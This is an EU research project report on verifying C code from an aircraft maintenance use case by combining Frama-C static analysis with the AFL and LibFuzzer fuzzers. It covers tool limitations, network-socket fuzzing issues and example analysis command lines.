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Disclaimer 

The information in this document is provided “as is”, and no guarantee or warranty is given that the 
information is fit for any particular purpose. The content of this document reflects only the author`s view – the 
European Commission is not responsible for any use that may be made of the information it contains. The 
users use the information at their sole risk and liability. 
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Executive Summary 

In the context of VESSEDIA, as planned in the DoA, several analyses of relevant parts of DA’s Use 
Case (mostly developed in C language) are performed using tools provided by partners and third-
parties. Some investigations and experimentations are also realized in order to either mitigate the 
limitations met with VESSEDIA tools, or to complete somehow the overview of potential technical 
approaches. During our verification activities, we coped with and palliated a few issues, with the 
contribution of our project tool providers. In this respect, we defined several sub-Use Cases, to 
illustrate concerns, or to assess tool capabilities, whenever aiming at cybersecurity property 
verification. 

Namely, we realized several tasks and obtained a certain number of results: 

- applying successfully the CURSOR method on parts of a network gateway instrumented 
by Frama-C E-ACSL plug-in: implementing automatic robust behaviour - defensive 
programming - in case of cybersecurity property violation; 

- experimenting AFL fuzzer, and some of its limitations in an industrial context. Thus, also 
assessing other fuzzers LLVM/LibFuzzer and HonggFuzz, focusing on the benefits of their 
in-process fuzzing mechanism, in particular to deal with persistent network connections, 
and more generally to improve the coverage by drastically decreasing the fuzzing execution 
time; 

- extending the CURSOR method accordingly: finding new usages of static analysis for 
more efficient fuzzing activities, like static loop unrolling to help discovering new input 
scenarios of interest; 

- performing the verification of relevant slices of our Use Case, combining formal static 
and dynamic fuzzing techniques and tools;  

- identifying a set of issues in some static analysis tools, and thus contributing to their 
robustness improvement, essentially in E-ACSL plug-in which is the master piece of the 
CURSOR method; 

- exploring several complementary approaches as: 
o semi-formal techniques (using Papyrus tool), but limited to reverse-engineering in 

the scope of the project, 
o model-checking of source code, as a complementary approach to methods 

exploited in VESSEDIA, addressing other weakness categories for further possible 
integration; 

- re-injecting bugs discovered with a fuzzer, into Frama-C EVA plug-in analyses: generated 
input values help locating cybersecurity weaknesses in the source code. 

On another sub-part of our Use Case, a secure proxy written in C++, we realized a first 
experimentation with Frama-Clang: the goal is indeed to also apply CURSOR on this C++ 
source code. To ease the exchanges with CEA partner (providing Frama-Clang) on issues raised 
with STL library, we identified and prepared a shareable open source proxy, namely the Arash 
Partow’s tcpproxy_server, which contains some common features with our case study. These 
results will further permit to extend the CURSOR applicability to C++ source code using 
widespread STL. 
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Chapter 1 Introduction 

In the context of VESSEDIA, as planned in the DoA, several analyses of relevant parts of DA’s Use 
Case developed in C are performed using tools provided by partners. Some investigations and 
experimentations are also realized in order to either mitigate some limitations met with VESSEDIA 
tools, or to complete the overview of potential technical approaches. During our verification 
activities, we coped with and palliated some issues, with the contribution of our project tool 
providers. In this respect, we defined several sub-Use Cases, to illustrate issues found, and to fit 
tool capabilities, aiming cybersecurity property verification. 

Namely, we realized several tasks and obtained a certain number of results listed below: 

- applying successfully CURSOR method on an embeddable version of the E-ACSL 
instrumented source code of a network gateway, implementing automatic robust behaviour 
(defensive programming) in case of cybersecurity property violation; 

- experimenting AFL fuzzer, and some of its limitations in an industrial context. Thus also 
assessing other fuzzers LLVM/LibFuzzer and HonggFuzz, focusing on the benefits of their 
in-process fuzzing process, in particular to deal with persistent network connections, and 
more generally to improve the coverage by drastically decreasing the fuzzing execution 
time; 

- extending the CURSOR method accordingly: finding new usages of static analysis for 
more efficient fuzzing activities; 

- performing the verification of relevant slices from our Use Case, combining formal 
static and dynamic fuzzing techniques and tools;  

- identifying a set of issues in some static analysis tools, and thus contributing to the 
improvement of their robustness (essentially in E-ACSL plug-in); 

- exploring several complementary approaches such as: 
o semi-formal techniques (using CEA‘s Papyrus tool), but limited to reverse-

engineering in the scope of the project, 
o model-checking of source code, as a complementary approach to tools addressed 

in VESSEDIA, pointing to complementary weakness categories for further possible 
integration; 

- re-injecting bugs discovered by means of a fuzzer, into Frama-C EVA plug-in analyses: 
generated input values will then help locating precisely cybersecurity weaknesses in the 
source code. 

On another sub-part of our Use Case, a secure proxy written in C++, we realized a first 
experimentation with Frama-Clang, the goal being to apply CURSOR on C++ source code. To 
ease the exchanges with CEA partner (providing Frama-Clang) on issues raised met, we identified 
and prepared an open source proxy, namely the Arash Partow’s tcpproxy_server, which contains 
some common features with our case study. The work done by CEA on Frama-Clang in order to 
make it compliant with this tcp_proxy code is not detailed in this report. These results will further 
permit to extend the CURSOR applicability to C++ source code using typically STL library. 

 

Document outline 

Chapter 2 presents a brief reminder of our Use Case and its main objectives.  

Chapter 3 deals with two well-known fuzzing tools used in the following, and briefly presented.  

Chapter 4 is a write-up, proposing the alleviated sequence of activities performed in WP5. It is 
intended to address the recommendation of the project reviewers (after 1st period M01-M18) 
regarding the details of the Use Case realization, in particular on code modification and 
justification.  
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Chapter 5 exposes some considerations of extensions for the CURSOR method, introducing 
notably fuzzing tasks.  

Chapter 6 presents rapidly our first experimentations with semi-formal approach.  

In the Annexes, the reader will find the reminder of activities performed and results obtained during 
the first (half) period of the project, a presentation of CURSOR method at the end of FP7/STANCE 
project (2012-2016), and a list of the main issues met in the tools during our experimentations in 
VESSEDIA (extracts from the Frama-C’s bug tracking system1, for the record). 

 

 

Prerequisites 

The report encompasses various technical domains, methods and tools. Some prerequisites are 
required to apprehend our experimentations: as a non-exhaustive list, we recommend the reading 
of the documentation and manuals for the main Frama-C plug-ins (EVA, RTE, WP, E-ACSL), and 
the fuzzing tools (AFL and LLVM/LibFuzzer). 

                                                

1 The issues reported by DA are in ‘private mode’, then are not accessible to the public. 
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Chapter 2 Use Case Reminder and Main Objectives 

The DA’s Use Case (UC) is mainly presented in deliverable D1.2 (exposing in particular the 
security requirements collected on its different parts). 

This UC consists in several interacting applications from which extracts are analyzed with 
VESSEDIA methods and tools, with the help - in some cases - of third-party tools. It is composed 
of: 

- an experimental Aircraft Maintenance System application prototype, including a Web 
server, a database, and security layers, 

- a datalink (DL), which will be illustrated by an open source DL (namely extracted from 
Paparazzi drone code), 

- a blockchain application, used as a decentralized distributed register, aiming at storing 
unfalsifiable information, 

- a software gateway and a security proxy. 

 

The illustration below gives a general idea of the infosphere perimeter around the aircraft, from 
maintenance to on-board services offered to customers, with datalinks and means to store data for 
any further analyses. 

 

Figure 1: Infosphere perimeter around the aircraft 

Assessing the impact, advantages and limitations of static and dynamic approaches – and in 
particular their potential coupling – when verifying relevant security-related properties in this UC is 
the main goal of DA in VESSEDIA project. 

Thus, as mentioned in the DoA, Task 5.3, the UC will demonstrate the usability of the VESSEDIA 
techniques, methods and tools. 
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The UC analysis is iteratively (following AGILE principles) performed as follows: 

• Step 1: Dynamic testing first explorations.  
ToE’s2 attack surface information gathering (scanning ...), and pentesting: aiming at 
detecting key components from security standpoint, on which VESSEDIA static analyses 
will be performed in priority. 

• Step 2: Static analyses on key components.  
Applying formal tools developed in VESSEDIA for C/C++ (and possibly third-party tools 
dedicated to other languages), on key components identified in Step 1. Potential 
weaknesses (CWE) will be collected for further confirmation in Step 3. 

• Step 3: Coupling static and dynamic analyses on key components.  
Confirming (or not) the exploitability of the weaknesses detected during Step 2 by means of 
affordable tools. 

• Step 4: Contributions to Security evaluation and certification process.  
All proof artefacts obtained so far will be identified if contributing to certification process. 
Computed VESSEDIA metrics will permit to estimate the progress and coverage of security 
objectives tackled during the Use Case realization. 

 

Following Step 1 as defined above, the analysis effort is then focused on two components: the 
gateway and the secure proxy components of the UC, as they duly participate to the perimetric and 
in-depth security of the ToV/ToE (Target of Verification/Evaluation). Step 2 is applied to some 
functions from the UC, namely some counter-measure functions which will be executed when 
cybersecurity properties might be violated. Main effort and most of this report are then dedicated to 
Step 3 (static and dynamic couplings) as it is the most innovative and specific aspect of the work 
done by DA in VESSEDIA. The aim of Step 4 is to contribute as much as possible to the evaluation 
of the benefits obtained by exploiting the results of VESSEDIA. 

 

                                                

2 In this report, due to the downsizing of our case studies to fit tools capabilities, the ToV (Target(s) of Verification, as 

defined in WP6) are functional and technical subsets of the ToE (Target(s) of Evaluation of our original Use Case). 
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Chapter 3 Tools 

In the scope of the project, we mainly assess static analysis tools developed by VESSEDIA 
partners. As initially planned, we apply the CURSOR method (see Annex 2) to our Use Case, 
which involves Frama-C platform, with its main plug-ins: the Kernel and basic analysers, EVA for 
the abstract interpretation of value domains, WP for the weakest-precondition calculus (proof of 
program), Slicing, and E-ACSL which translates annotations (generated or written by hand) into 
executable statements. These tools are presented in other deliverables of the project and in the 
Frama-C website3. 

In the field of dynamic analysis tools, AFL and LLVM/LibFuzzer are fuzzing tools widely used by 
pentesters during security evaluations. Then, as also planned, we will study the potential 
“entanglement” between these tools and the Frama-C platform, through static and dynamic 
coupling experimentations extending the CURSOR method. These two fuzzing tools are detailed in 
the sub-sections below. For the sake of readability, we will not describe in-depth the fuzzing tools 
paradigms and mechanisms (excepting when some biases or issues will be found later in this 
report). However, a good understanding of these tools and their main principles appears as a pre-
requisite for the comprehension of this report, then the reader is invited to refer to the 
corresponding tool documentation for more details when necessary.  

 

There exist commercial and open source fuzzers. But for the scope of this study, we will 
only focus on AFL and LLVM/LibFuzzer (and later on HonggFuzz not documented in this 
report). 

 

During VESSEDIA, DA also assessed complementary tools, related to source code model-
checking as a potential complementary approach. The results of these investigations are 
presented in Annex 4, as a potential incentive addressed to academic partners for further 
research in this domain. 

 

3.1 AFL 

AFL stands for American Fuzzy Lop, a fuzzer based on genetic algorithm. It is available and 
documented in [7]. 

In the following, we rapidly present the tool notably through some considerations extracted from 
a bachelor thesis [6] (and referring in turn to [1] and [3]). 

AFL aims at doing intelligent source code coverage by iteratively mutating fuzzing inputs. Code 
coverage is the percentage of the total amount of code in software, which is executed by some 
testing method. Although 100% code coverage should not be strived for, it can be used as a 
measure for how well tested the program is. High code coverage can contribute as an unformal 
“proof” to verifying that the software is working as intended. Fuzzing can be used in many ways to 
gain good code coverage or at least increases the usual code coverage obtained by user-defined 
tests. 

Fuzzing can be also presented as an automated method for inserting unexpected, mutated, inputs 
to a system to test how well the system handles these inputs. In other words, it finds inputs which 

                                                

3 http://frama-c.com  

http://frama-c.com/
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yield faults or undefined behaviours in the ToE under test. By inserting unexpected inputs, new 
unforeseen or rare code paths can get triggered, possibly finding unknown bugs, so-called zero-
days. To find new code paths and bugs, some kind of random generator generates or mutates 
inputs to a system. A massive number of inputs are usually required to get any results; therefore, 
automation must be used to feed new data as fast as possible. 

In the scope of VESSEDIA, and in particular when applying CURSOR method (presented in Annex 
2 in this report), the generation of inputs is indirectly led by annotations translated into executable 
statements which will “require additional coverage”. Briefly presented at this stage, if these newly 
added statements are covered, then it is the “symptom” that the corresponding annotations (safety 
and cybersecurity alarms) were violated during execution. This will be explained later in this report. 

If any faults (or property violations) are found during the fuzzing, the input causing the failure will 
be automatically saved. The faulty input can then be tested and analyzed to see precisely why it 
causes problems. 

[6] adds that when fuzzing, speed is essential to get results in a decent time. A modern fuzzer can 
often do several thousands of test cycles per second. With access to the source code, there are 
several ways to speed up the fuzzing process. A program can be modified to bypass overhead, 
and inject fuzzed data directly to the target functionality. CRC checks, unnecessary logging, file 
input/output, or other time-consuming tasks can be disabled, as typical examples. But when 
altering the software, caution must be taken not to hide or create any new issues into the source 
code. 

Regarding CURSOR, as this method is intended to be used as straightfully as possible, we will do 
our best effort to avoid these code modifications.  

This leads to the important question of when to stop fuzzing a target. If the fuzzer has not found 
any new bugs for a relatively long time, it is usually considered as a relevant sign for stopping the 
procedure, at the condition to reasonably define what should be considered as “a relative long 
time” ... Indeed, the fuzzer could be stuck, not getting further, but at the same time, a new bug may 
be found if letting the fuzzer go for a while a bit longer. The trade-off is obviously difficult, and 
empirical experience may help a lot. With a coverage-guided fuzzer, it is somehow easier. As long 
as new code paths are being found, the fuzzer should not be stopped in anyway. If no new code 
paths have been found for a while, it is time to consider if the fuzzer can be considered as done.  

However, in most cases, if we can estimate what the coverage should be by any other way, this 
may considerably help regarding when to stop the fuzzer run. 

 

Fuzzers implement one or more methods to achieve the best coverage results. The methods can 
be purely random, mutational, generational, or evolutionary. 

As [6] reminds us, evolutionary fuzzers, like AFL, are the latest family of fuzzers; they began to 
appear around the year 2007. An evolutionary fuzzer uses advanced algorithms to get better code 
coverage than plain mutation or generation. The evolutionary fuzzer still relies on either mutation or 
generation, but it uses some form of instrumentation of the binary to get information and guidance, 
to make smarter mutations to reach deeper into the software under test. By instrumenting the 
binary (or the source before compilation and linkage), the evolutionary fuzzer can track the code 
coverage of different test cases. Fuzzers like AFL can insert instrumentations during the 
compilation of the tested software.  

By looking precisely at the code coverage obtained after any number of executions, the fuzzer can 
find out which part of the test case leads to which part of the code. The fuzzer then makes 
gradually evolve these test cases, creating new ones if necessary, covering increasingly more of 
the program code, with the goal of trying to find test cases with the best possible code coverage. 
The test cases discovered by the evolutionary fuzzer are also a good source for test cases to be 
used in other situations (during simulations for instance to investigate potential counter-scenarios, 
or regression tests, ...). 
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Evolution strategies use mutation, modifying parts of a good test case (i.e. increasing the code 
coverage) to create new ones. As usually presented, genetic algorithms use two or more good test 
cases, cut them apart, combine them into new test cases expected to provide even better 
coverage results (and may also apply an arbitrary mutation to a few parts of these test cases). 

To monitor actual code coverage, an external tool delivered with AFL, named afl-cov, can be 
used. 

 

The reader can also give a closer look at numerous studies of interest on the subject (on the 
Internet); these are some considerations collected, to take into account during the use of AFL, 
highlighting limitations or difficulties the user might meet during experimentations: 

In twosixlabs4, it is said for instance that:  

[…] one major downside of AFL is that it’s only really designed to work with programs that 
accept input through stdin or a file [...] 

also, 

Several successful attempts have been made to patch networked programs to support 
fuzzing with AFL, but suffer from either high complexity or poor performance. 

 

The reasons why these patches are complex are not detailed there. The poor performances are 
more obvious: to fuzz efficiently a software, we need to obtain a high level of execution number per 
second. Any strong and in-depth modification of the source code to instrument it, and/or its runtime 
environment, could have a considerable impact on the execution time for a single run. 

The purpose of the twosixlabs’ blog was to fuzz nginx (a well known web server engine), and the 
authors to comment: 

Now that nginx successfully exits after serving one request, we can investigate getting AFL 
to feed inputs to nginx. One option would be to patch nginx to force its call to accept() to be 
handled through stdin. However, this process requires a very thorough understanding of the 
target, which increases the time it takes to write a test harness. But luckily for us, there’s an 
awesome toolset we can use to bypass this painful process! 

Preeny5 is a very useful collection of shared objects designed to be preloaded into a target 
program’s address space. They provide a wide array of functionality, but we are particularly 
interested in the desock tool. With this tool, we don’t have to worry about manually 
intercepting the sockets because the shared object does all the heavy lifting involved in 
hooking networking functions and injecting input from stdin. Another benefit of using 

desock.so is that it requires no code modification of the target, so it can be used quite 
generically on any server that accepts socket-based input.  

This is what we tried to apply during the first steps of our experimentations. But these 
considerations and hints were failing when analysing our case studies: desocking our applications 
generated a considerable amount of errors. Some investigations showed that it would require to 
modify in-depth some important functions, which was not in the philosophy of CURSOR method 
(thought as more “push-button”). This said, in some simple “toy” C source code cases, preeny 
showed its efficiency, then we still consider this tool and its approach in this report, for any further 
investigations. 

The same blog page says later:  

                                                

4 https://www.twosixlabs.com/fuzzing-nginx-with-american-fuzzy-lop-not-the-bunny/ 
5 https://github.com/zardus/preeny: the short introduction to the tool presents it as a tool which « […] helps you pwn 
noobs by making it easier to interact with services locally. It disables fork(), rand(), and alarm() and, if you want, can 
convert a server application to a console one using clever/hackish tricks, and can even patch binaries! » 

https://github.com/zardus/preeny
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First and foremost, the compiler used to instrument the binary is very important. Our initial 
tests were done using afl-gcc since the nginx documentation instructed us to use gcc for 
compilation. However, after instrumenting nginx using AFL’s experimental afl-clang-fast 
compiler, the execution rate only marginally increased to ~80-90 exec/s – still not good 
enough! 

Indeed, surprisingly, on our real Use Case, the execution time only decreased by 10%, which was 
unexpected with regards to the literature on this point. 

 

The next step to speeding up our iterations required tinkering with the source code again, 
but with very little effort this time. Ideally, AFL’s persistent mode would be a good way to 
improve performance. Unfortunately, nginx has far too many moving parts (e.g. signals and 
file descriptors) to efficiently make use of AFL’s persistent mode [...] 

This last consideration also applies to our Use Case. Except that the so called “persistent and 
network oriented” version of AFL is an old version (1.95b vs 2.52b at the time of writing), and no 
more supported, which is quite a crippling point. Comparing the Change logs showed that the 
improvements between the versions 1.95b and 2.52b could have a strong impact on efficiency and 
even bugs raised but only fixed later. Definitely, using a non-supported tool in an industrial context 
could not be an option. 

 

Other papers found on the net gave more or less the same feedback on the use of AFL on server, 
network (with sockets) and persistent applications (6, 7, 8). The interest of these papers and blogs is 
that they come with code examples/extracts which can be experimented before applying to our 

own case studies. However, in the case for instance of the use of __AFL_LOOP macro command 
(exploited when applying the fuzzer to persistent code), it was difficult to integrate it into our case: 
isolating every statement/variable which must be considered as persistent is a difficult and time-
consuming task. We will see this point, and more, when facing for instance issues raised by 
memory allocations at startup within linked external libraries, later in this report.  

 

As we will present in the following, we experimented most of the features exposed above. And of 
course this was a prerequisite to our analysis activities. 

Last, let mention the blog GDS-Security9 which recommends: 

While it is possible to fuzz a multi-threaded binary, it is highly recommendable to stick to a 
single thread to obtain predictable results. 

Note that this recommendation is provided by one of the main authors of AFL, Michal Zalewski.  

In the very same blog post from GDS-Security, it is said: 

One obvious challenge here is to handle the communication in a way that prevents the 
client and server from infinitely waiting for a response. In the handshake phase, for 
example, the client and server may send and receive several packets in a row. Simply 
letting the client and server carry out one handshake step (which involves merely sending 
or receiving a packet) in a loop is not sufficient, as the client or server may block waiting to 
receive a packet that the other side has not sent. Instead, it is necessary to let the client 
and server execute a specific number of handshake steps in each iteration of the loop until 
both finish the handshake. 

 

                                                

6 https://www.fastly.com/blog/how-fuzzz-server-american-fuzzy-lop 
7 https://toastedcornflakes.github.io/articles/fuzzing_capstone_with_afl.html 
8 https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop-%2B-persistent-mode/ 
9 https://blog.gdssecurity.com/labs/2015/9/21/fuzzing-the-mbed-tls-library.html 
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This is one of the main difficult point when applying AFL to network applications, as the 
communication protocol can of course be as simple as: 

 

Figure 2: TCP three-way handshake 

but could be also multi-staged with crossing messages: 

 

Figure 3: Crossing packets 

 

AFL_USE_ASAN=1 ... or not? 

A last remark on our preliminary experimentations with AFL is about ASan10. 

 

AddressSanitizer (aka ASan) is a memory error detector for C/C++. It finds: 
- Use after free (dangling pointer dereference) 
- Heap buffer overflow 
- Stack buffer overflow 

                                                

10 https://github.com/google/sanitizers/wiki/AddressSanitizer 
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- Global buffer overflow 
- Use after return 
- Use after scope 
- Initialization order bugs 
- Memory leaks 
This tool is very fast. The average slowdown of the instrumented program is ~2x [...]. 
The tool consists of a compiler instrumentation module (currently, an LLVM pass) and a 
run-time library which replaces the malloc function. 

 

When using an address sanitizer like ASan, a lot of virtual memory is indeed allocated. Therefore, 
more than 1 GB is needed for AFL (less memory allocation generally leads to a crash) for any even 
small case study. This is the origin of many troubles faced during our investigations on our Use 
Case due to our workstation configuration and intrinsic OS limitations. This is confirmed by [4]: “On 
average, the instrumentation increases processing time by about 73% and memory usage by 
340%”. Even on some of our sub-case studies, we obtained unmanageable over-memory-
consumption which made the tool rapidly unusable (the system did not permit to launch the 
application, even after some Unix-level “ulimit” manipulations). 

As exposed above, one of the hard limitations when using address sanitizer is also that the 
execution speed is significantly decreased (until 10x slower during our investigations) even on 
quite small code extracted from our Use Case (<2 Kloc). 

Wikipedia on ASan adds: 

AddressSanitizer does not prevent any uninitialized memory reads, and only prevents some 
use-after-return bugs. It is also not capable of preventing all arbitrary memory corruption 
bugs, nor arbitrary write bugs due to integer underflow/overflows (when the integer with 
undefined behavior is used to calculate memory address offsets). Adjacent buffers in 
structs and classes are not protected from overflow, in part to prevent breaking backwards 
compatibility. 

It is a notable limitation for the use of ASan coupled to AFL as this last does not catch memory 
errors (for instance due to wrong pointer arithmetic over-reading or over-writing in initially allocated 
memory zones). This is, on the contrary, a good point for E-ACSL plug-in and CURSOR approach, 
as they do capture any of these memory faults. 

 

Our experimentations on AFL are presented in §4, later in this report.  

 

3.2 LLVM/LibFuzzer 

Several limitations and bugs found when using AFL lead us to explore another tool: 
LLVM/LibFuzzer. This fuzzer is presented in [2], and some extracts of its documentation are 
presented below: 

 

LibFuzzer is in-process, coverage-guided, evolutionary fuzzing engine. 

LibFuzzer is linked with the library under test, and feeds fuzzed inputs to the library via a 
specific fuzzing entrypoint (aka “target function”); the fuzzer then tracks which areas of the 
code are reached, and generates mutations on the corpus of input data in order to 
maximize the code coverage, like AFL does. The code coverage information for libFuzzer is 
provided by LLVM’s SanitizerCoverage instrumentation. 
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Fuzz Target¶ 

The first step when using LibFuzzer on a library is to implement a fuzz target: “a function that 
accepts an array of bytes and does something interesting with these bytes using the API under 
test” (from LibFuzzer‘s documentation) : 

 

// fuzz_target.cc 

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

  DoSomethingInterestingWithMyAPI(Data, Size); 

  return 0;  // Non-zero return values are reserved for future use. 

} 

 

Note that this fuzz target does not depend on LibFuzzer in any way and so it is possible and even 
desirable to use it with other fuzzing engines, e.g. AFL. 

Some important things to remember about fuzz targets (mentioned in tool manual): 

• The fuzzing engine will execute the fuzz target many times with different inputs in the same 
process. 

• it must tolerate any kind of input (empty, huge, malformed, etc.). 

• It must not exit() on any input. 

• It may use threads but ideally all threads should be joined at the end of the function. 
• It must be as deterministic as possible. Non-determinism (e.g. random decisions not based 

on the input bytes) will make fuzzing inefficient. 
• It must be fast. Try avoiding cubic or greater complexity, logging, or excessive memory 

consumption. 
• Ideally, it should not modify any global state (although this is not strict). 
• Usually, the narrower the target the better. E.g. if your target can parse several data 

formats, split it into several targets, one per format. 

 

Fuzzer-friendly build mode? 

Sometimes the code under test is not fuzzing-friendly. Examples: 

• The target code uses a PRNG (Pseudo-Random Number Generator) seeded e.g. by 
system time, and thus two consequent invocations may potentially execute different code 
paths even if the end result will be the same. This will cause a fuzzer to treat two similar 
inputs as significantly different and it will blow up the test corpus (this case was met in our 

Use Case as for instance libxml typically uses a rand()function - a random number 

generator - inside its hash table mechanism). 
• The target code uses checksums to protect from invalid inputs.  
• In many cases, it makes sense to build a special fuzzer-friendly build of the application, with 

certain fuzzer-unfriendly features duly disabled. However, as this does not comply with the 
CURSOR “push-button” approach, then this kind of source code modification is, as far as 
possible, avoided. 
 

AFL compatibility 

LibFuzzer can be used together with AFL on the same test corpus (set of tested input scenarios). 
Both fuzzers expect the test corpus to reside in a directory, one file per input. One can run both 
fuzzers on the same corpus, one after another: 

 

./afl-fuzz -i testcase_dir -o findings_dir /path/to/program @@ 

 

./llvm-fuzz testcase_dir findings_dir  # Will write new tests to testcase_dir 
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Periodically, it is recommended to restart both fuzzers so that they can use each other’s findings. 
Currently, there is no simple way to run both fuzzing engines in parallel while sharing the same 
corpus folder. 

 

When (not) using LLVM/LibFuzzer? 

 

The documentation of LLVM concludes with an interesting list of cases where LibFuzzer should not 
be used: 

- Bugs in the target library may accumulate without being detected. E.g. a memory corruption that 
goes undetected at first and then leads to a crash while testing another input. This is why it is 
highly recommended to run this in-process fuzzer with all sanitizers to detect most bugs. 

- It is harder to protect the in-process fuzzer from excessive memory consumption and infinite 
loops in the target library (still possible). 

- The target library should not have significant global state which is not reset between the runs. 

- Many interesting target libraries are not designed in a way that supports the in-process fuzzer 
interface (e.g. require a file path instead of a byte array). 

- If the target library runs persistent threads (that outlive execution of one test) the fuzzing results 
will be unreliable. 

 

These last recommendations indeed turned out to be rather pessimistic in the case of our studies, 
as LibFuzzer performed globally quite well. However, some new limitations appeared, caused by 
interactions with Frama-C E-ACSL process, that will be presented later in this report. 

 



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 13 of 147 

Chapter 4 Verification Activities 

Most of this section is written as a series of write-ups (somehow in the manner of pentesting 
reports) in order to present to the reader the progression of the work performed, and results 
obtained during WP5 realizations on DA’s Use Case. It also exposes the difficulties met and the 
workarounds sometimes developed in-house, and in several cases with the help of CEA partner 
(which is the main tool provider for our verification approach). 

These write-ups present 18 months of VESSEDIA period #2 (M18-M36) activities. All the analyses 
are performed at DA, as for confidentiality reasons, the code cannot be disseminated11 to solution 
developers. However, when required, some code examples have been expressly developed to 
illustrate problems encountered. 

The results presented in the following are based on different releases of Frama-C: mostly 
Potassium (v19.* released in 2019) and Argon (v18, in 2018), but also previous ones (Chlorine 
v17, Sulfur v16, and Phosphorus v15, in particular to check for some tool behavior regressions). 

 

These different versions of Frama-C led to multiple upgrades of our inner plug-ins based on 
the Frama-C platform, inducing some effort to propagate the changes to our development. 
These plug-ins were presented in FP7/STANCE and are part of the CURSOR method in its 
first version. They aim at identifying some complementary cyber-security properties not 
detailed here, and mostly related to our software functional behavior. 

 

The fuzzing tests are done on standard PC with 16 Go RAM, quadri-core at 2.6 GHz. In our R&T 
environment, the OS is Linux, and is different from the targeted operational environment. 

 

 

CAVEAT: in the following sub-sections 4.1 to 4.5, some very detailed elements are provided on 
the verification activities performed in-house, which might be quite boring for non-specialists, but 
may have some interests for solution developers and future experimentators.  

This writing intends to meet the expectations reported by project reviewers for period 1: 
- elaborating when code has been modified for V&V purposes, 
- assessing the use-cases in terms of tools effectivity and performance (coverage), usability 
and methodology. 

However, we do recommend to the impatient reader to jump to the sub-section 4.7 for the 
preliminary conclusions, or directly to Chapter 5 to get the whole picture of the method applied for 
the realization of our Use Case. 

 

  

  

                                                

11 The respect of the confidentiality is an important constraint to deal with, but which has its own interest: this makes it 
possible to keep confidential a set of source code for the future qualification of the analysis tools. Note that since solution 
developers do not have this code in hand, they cannot produce analyzers that “overfit” (i.e. too much specific tuning of 
the tools to fit exactly given code features), and then not able to generalize to other kinds of code constructs. 
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4.1 Write-Up on CURSOR-AFL analyses of socket persistent application 

 

CURSOR is a method designed by DA in FP7/STANCE project. It aims at generating automatically 
a few CWE counter-measure calling contexts in any C source code. It is based on Frama-C EVA 
analysis and E-ACSL (which translates several categories of alarms as executable statements). 
CURSOR was first presented during the Frama-C Day'16 12. 

 

In H2020/VESSEDIA, DA performs several improvements on the original definition of CURSOR 
(mainly realized in the scope of WP5/T5.5): 

• validating new releases of EVA and E-ACSL, 
• attempting to extend the method to C++ code, 
• coupling with AFL fuzzer (American Fuzzy Lop13), which was experimented in task T3.2 

and showed a promising potential of static/dynamic collaboration, 
• extending the coupling of CURSOR and AFL to network socket applications (preliminary 

defined in T3.2, and to be validated in T5.5). 

Some of the improvements and perspectives on CURSOR and AFL are presented in [5] 
conference. These first experimentations during period #1 of VESSEDIA (M1-M18) permitted to 
acquire a good level of confidence on the solution to be widely applied to our Use Case. 

AFL is one of the most well-known and fastest fuzzers. It uses compile-time instrumentation, and 
genetic algorithms to generate additional test cases to check against the application. It is widely 
used during security evaluations for pentesting purpose, either when source code is available, or 
even when only binaries can be tested (AFL is then used in QEMU-like emulator mode). 

 

Other approaches of the same kind are presented in the thesis dissertation "Performing 
Binary Fuzzing using Concolic Execution"14. This thesis notably presents a system that 
fuzzes certain classes of (closed source) binaries using Concolic Execution techniques in 
order to find vulnerable inputs into programs. These inputs could be leveraged by attackers 
to compromise systems that the binary might be running on. The system is designed 
around a Taint/Crash Analysis tool combined with a Path Exploration system to generate 
symbolic representations of the paths, generating a new set of inputs to be tested. This kind 
of approach could also benefit from CURSOR (or E-ACSL) techniques, in order to make the 
concolic executions focus on potential security and safety alarms generated by abstract 
interpretation. But this option is not explored in VESSEDIA at this time, as the aim of 
CURSOR is to deal with source code as a first intent. 

 

The reader will find numerous references of AFL tutorials and experiments on the Internet. In this 
section, however, we will focus on the requirements for collaborations with Frama-C toolset (mainly 
EVA and E-ACSL). 

At first, one needs to generate a new C code enriched by Frama-C EVA plug-in analysis with 
alarms (related to some families of CWEs).  

For some reason, Frama-C automatically translates variadic parameter functions as multi-
parameter functions, w.r.t. the concrete uses of variadic parameters in the code. This may cause 

                                                

12 https://frama-c.com/download/framaCDay/FCD16/talk/dassault_cursor.pdf 

13 http://lcamtuf.coredump.cx/afl/ 

14 https://dspace.mit.edu/bitstream/handle/1721.1/100620/932641731-MIT.pdf?sequence=1 
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some troubles when compiling and testing, as multi-parameter functions are declared but not 
effectively defined. Thus Frama-C is launched without this variadic translation by default (the 

option to use is -variadic-no-translation). Secondly, libc function contracts are needed by 
CURSOR when generating the code to guarantee that requires clauses (i.e. preconditions) in the 
library won't be violated during execution. To do so, Frama-C will analyze the original code with 
libc signatures containing useful annotations: these annotations are provided by CEA and included 
into Frama-C package. For readability, we also want these requires annotations on function 
declarations to be inserted as statement contracts at their call sites (requires are then translated as 
assert clauses typically). This is obtained thanks to the option "-rte -rte-precond". Once these 
analyses are performed, the EVA analysis can be performed to potentially validate (or not) the 
previous statement annotations, and eventually add new EVA alarms into the code when required 
if potential alarms are found during the abstract interpretation analysis.  

At this stage, the command line looks like: 

 

$ frama-c foo.c -variadic-no-translation -quiet -rte -rte-precond -then -val -then -print 

-ocode foo.val.c 

 

 

The reader is invited to read E-ACSL and EVA documentations for the technical details, and 
potentially adapt the command line to its own verification context. 

 

During our first experiments in T5.5, some issues appeared as E-ACSL is still an on-going 
development, and some features may still not be implemented at the time of writing. These issues 
are related to variables collected by the libc functions annotated by Frama-C but not 
present/available during further compilation and linkage, as well as ACSL logic predicates and 
other constructs not yet implemented in E-ACSL. A script developed by DA in Python implements a 
workaround for these issues met during our preliminary experimentations, but in the meantime, E-
ACSL development team released fixes palliating these different problems definitely. 

 

In CURSOR, the E-ACSL function named __e_acsl_assert(), which is executed in case an alarm 
is met during execution (the entry point of a CURSOR counter-measure execution), is provided by 
default. To avoid a duplicate error during link phase, E-ACSL defines a macro-definition allowing 
the developer to include its own __e_acsl_assert implementation. The documentation of E-ACSL 
defines the other options needed to perform the translation of annotations as executable 
statements, in particular using a script (e-acsl-gcc.sh) packaged with the E-ACSL plug-in: 

   

 

$ e-acsl-gcc.sh foo.val.c -M -E "-D__FC_MACHDEP_X86_64" -e "-DE_ACSL_EXTERNAL_ASSERT" -l 

"-fno-stack-protector" -c -OFOO.CURSOR -Gafl-gcc 

 

 

